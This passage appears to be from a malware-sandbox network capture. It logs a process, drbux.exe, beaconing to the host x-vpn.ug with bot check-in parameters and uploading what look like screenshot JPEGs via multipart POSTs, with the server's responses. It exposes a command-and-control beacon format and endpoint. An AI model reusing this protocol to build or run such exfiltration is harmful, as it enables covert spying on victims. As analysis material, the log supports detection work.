Jul 19, 2021 18:36:34.359055996 CEST	17557	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:34 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
228	192.168.2.6	49987	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:34.551184893 CEST	17562	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:34.635138988 CEST	17562	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:34 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:34.685796022 CEST	17563	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----a5044036d0dc1e23f9afaaebedc2acb7 Host: x-vpn.ug Content-Length: 96925 Cache-Control: no-cache
Jul 19, 2021 18:36:34.686048985 CEST	17563	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 61 35 30 34 34 30 33 36 64 30 64 63 31 65 32 33 66 39 61 66 61 61 65 62 65 64 63 32 61 63 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------a5044036d0dc1e23f9afaaebedc2acb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:34.686353922 CEST	17573	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:34.686654091 CEST	17576	OUT	Data Raw: 1f 78 8c f4 35 cf 69 5e 26 fb 3e 8f 65 0f fc 2c 3f b2 f9 76 f1 a7 d9 ff 00 b1 77 f9 58 50 36 6e c7 cd 8e 99 ef 8a ed fc 15 ab 7f 6a 7d bb fe 2a 6f ed bf 2f cb ff 00 97 0f b3 79 39 dd ec 37 67 1f 86 df 7a e0 ad cf 14 e4 9b fb df f9 2f cc ea a7 ca Data Ascii: x5i^&>e,?vwXP6nj}o/y97gz/V_jJ2UJJoebQa\f)i&)qE-%LAJhPF(PGz(X[yBhmd^Q<+!z"VUtq
Jul 19, 2021 18:36:34.770031929 CEST	17579	OUT	Data Raw: 28 0b 8d a2 9d 8a 4c 52 b0 ee 25 18 a3 14 62 8b 00 50 05 14 bd a8 01 0d 25 3a 90 8a 06 25 14 52 f6 a4 02 62 8a 29 79 a2 c0 25 2d 14 53 40 25 14 b4 62 90 07 34 73 47 34 53 01 28 a5 34 52 b0 09 45 2d 14 05 c8 eb d3 be 04 e7 fe 16 04 98 ea 6c 25 c7 Data Ascii: (LR%bP%:%Rb)y%-S@%b4sG4S(4RE-l%5bS-^=2;p?K4\]7-CUekcRcuQ>p1^K6v'ekMkqz6F@YMu3Mq4Jyb{rMgR~F<3fh?}
Jul 19, 2021 18:36:34.770100117 CEST	17582	OUT	Data Raw: 22 af 6b 9a 5c 57 1a 22 5d 5d e8 e6 08 53 41 b1 78 35 77 96 40 1a 7d 91 28 88 73 b3 18 27 2b 8d c3 05 b3 8e 2b cf af 34 c9 ac 25 8e 3b a8 bc b7 92 14 9d 06 e0 72 8e a1 94 f1 ea 08 aa fe 4c 7e 94 7b 39 3e bf d6 bf e7 f8 6b 70 f6 91 5d 3f ad 3f cb Data Ascii: "k\W"]]SAx5w@}(s'++4%;rL~{9>kp]??bgL1FfO\@pGLfq#<$Oa7&[$WQI*B#D]WrTi! p/:8`:4jd)y7xnL.i8p}x
Jul 19, 2021 18:36:34.770215034 CEST	17584	OUT	Data Raw: 5c 4a 4c 53 b1 45 01 71 28 a5 a4 ef 40 c8 45 77 36 7a ad 83 78 7f 44 d3 63 92 ca 0d 4d b4 cb b8 a2 d4 5e 7c 35 b3 b4 d2 9f 2d c1 6d 8a 1d 09 5c 95 04 6f 07 20 57 13 49 b1 49 e9 58 54 a7 cf 1e 5f eb 66 bf 53 68 54 e5 77 3d 0a 41 a0 5c 68 fa 35 a5 Data Ascii: \JLSEq(@Ew6zxDcM^\|5-m\o WIIXT_fShTw=A\h5ZdfX%mvLx54/{(ucIG=q?Tg\tH_J<tdJUbvRv&}+G_Qb(6Xcimxci6v6t$.V.YQVFH
Jul 19, 2021 18:36:34.770365953 CEST	17587	OUT	Data Raw: 80 0a 70 14 01 4e c5 51 2d 8d c5 28 14 b8 a5 c7 34 ec 2b 89 8a 31 4e c5 18 a6 17 1b 8a 31 4e c5 18 a2 c2 b8 dc 51 8a 7e 28 c5 16 0b 91 91 46 2a 4c 51 8a 2c 17 22 db 46 da 97 14 62 97 28 f9 88 76 52 15 a9 8a d0 56 8e 51 f3 10 62 93 15 36 da 36 d2 Data Ascii: pNQ-(4+1N1NQ~(F*LQ,"Fb(vRVQb661)J)1RIrj\PEO)\qM""KJD$SqRhF)M-.(q8J`J("9@QKI@OKIRPNNE[>1X#Lm ip}~J5
Jul 19, 2021 18:36:34.771034956 CEST	17590	OUT	Data Raw: 52 53 c8 a4 c5 45 8a 19 46 29 c4 52 11 48 a1 b4 52 e2 8c 51 60 12 8a 5c 51 8a 43 12 92 9d 8a 31 4e c2 29 d7 61 e1 1b 1b 1d 47 c3 ba ed ad d5 bc 2d 71 71 35 ad b5 a4 ee a3 74 52 b8 98 a6 0f 50 19 d5 14 fb 1e 7a 57 27 b0 54 ab 3d dc 76 53 d9 c3 39 Data Ascii: RSEF)RHRQ`\QC1N)aG-qq5tRPzW'T=vS9KyYaQj:a$vwVn<1k5zKq=9pnOxsUEq}"]$2Yez+`*j/t_\_h\]{,t^kyMmc3
Jul 19, 2021 18:36:34.771240950 CEST	17592	OUT	Data Raw: 9c d2 e4 d5 68 4e a2 79 3e f4 79 26 97 71 a5 de 68 b2 1d e4 33 ca 6a 42 84 54 be 67 b5 3b cc 1e 94 59 0a ec ad 83 e9 4b 8f 6a b1 b9 4f 6a 70 08 7b 51 c8 1c e5 4a 2a d1 8d 3b 1a 4f 25 4f 43 47 23 1a 9a 2b 52 d4 df 67 a4 f2 1b b5 2e 56 1c c8 86 96 Data Ascii: hNy>y&qh3jBTg;YKjOjp{QJ;O%OCG#+Rg.VXRvwC(m4;RJQIJ(h()iQK@E.(4XBQK1@RBRBE1J1ERR-Z)R"XQE( }huZq)kI)qN9
Jul 19, 2021 18:36:34.771604061 CEST	17595	OUT	Data Raw: 8d a0 f6 a9 31 46 da 5c a1 cc 44 62 43 fc 34 c3 6e 87 d4 55 8d b4 62 8e 44 35 36 8a bf 66 f4 34 df b3 b8 e9 57 36 9a 50 29 7b 34 c6 aa 32 87 96 c3 a8 34 9c d6 8e 29 a5 41 ea 3f 4a 5e cb b0 d5 52 85 1d 6a e9 85 0f f0 d2 7d 9d 4f a8 a9 f6 6c 7e d1 Data Ascii: 1F\DbC4nUbD56f4W6P){424)A?J^Rj}Ol~SM$>t''>Y4S2XRZXuPQKHN)qLLZZ@)UR@Sbu%-Q"LE- T&-:KT)E4SXNHKIE2GSJhP!iAC:Pi>Gp4p5
Jul 19, 2021 18:36:35.070492983 CEST	17662	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:35 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
229	192.168.2.6	49988	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:34.833015919 CEST	17604	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:34.931765079 CEST	17657	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:34 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.6	49760	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:32.144845009 CEST	3168	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:32.145045996 CEST	3168	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:32.145122051 CEST	3178	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:32.145222902 CEST	3181	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:32.228176117 CEST	3184	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:32.228799105 CEST	3185	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:32 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:35:32.228883028 CEST	3187	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:35:32.228900909 CEST	3190	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:35:32.229033947 CEST	3193	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:35:32.229337931 CEST	3195	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:35:32.229391098 CEST	3198	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:35:32.229548931 CEST	3201	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
230	192.168.2.6	49989	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:35.125010014 CEST	17662	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:35.215696096 CEST	17663	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:35 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
231	192.168.2.6	49990	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:35.367140055 CEST	17664	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:35.367393017 CEST	17664	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:35.367818117 CEST	17674	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:35.368124962 CEST	17677	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:35.450465918 CEST	17678	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:35 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:35.450747967 CEST	17686	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:35.450792074 CEST	17688	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:35.451098919 CEST	17691	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:35.451158047 CEST	17694	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:35.451473951 CEST	17697	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:36:35.451512098 CEST	17698	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO
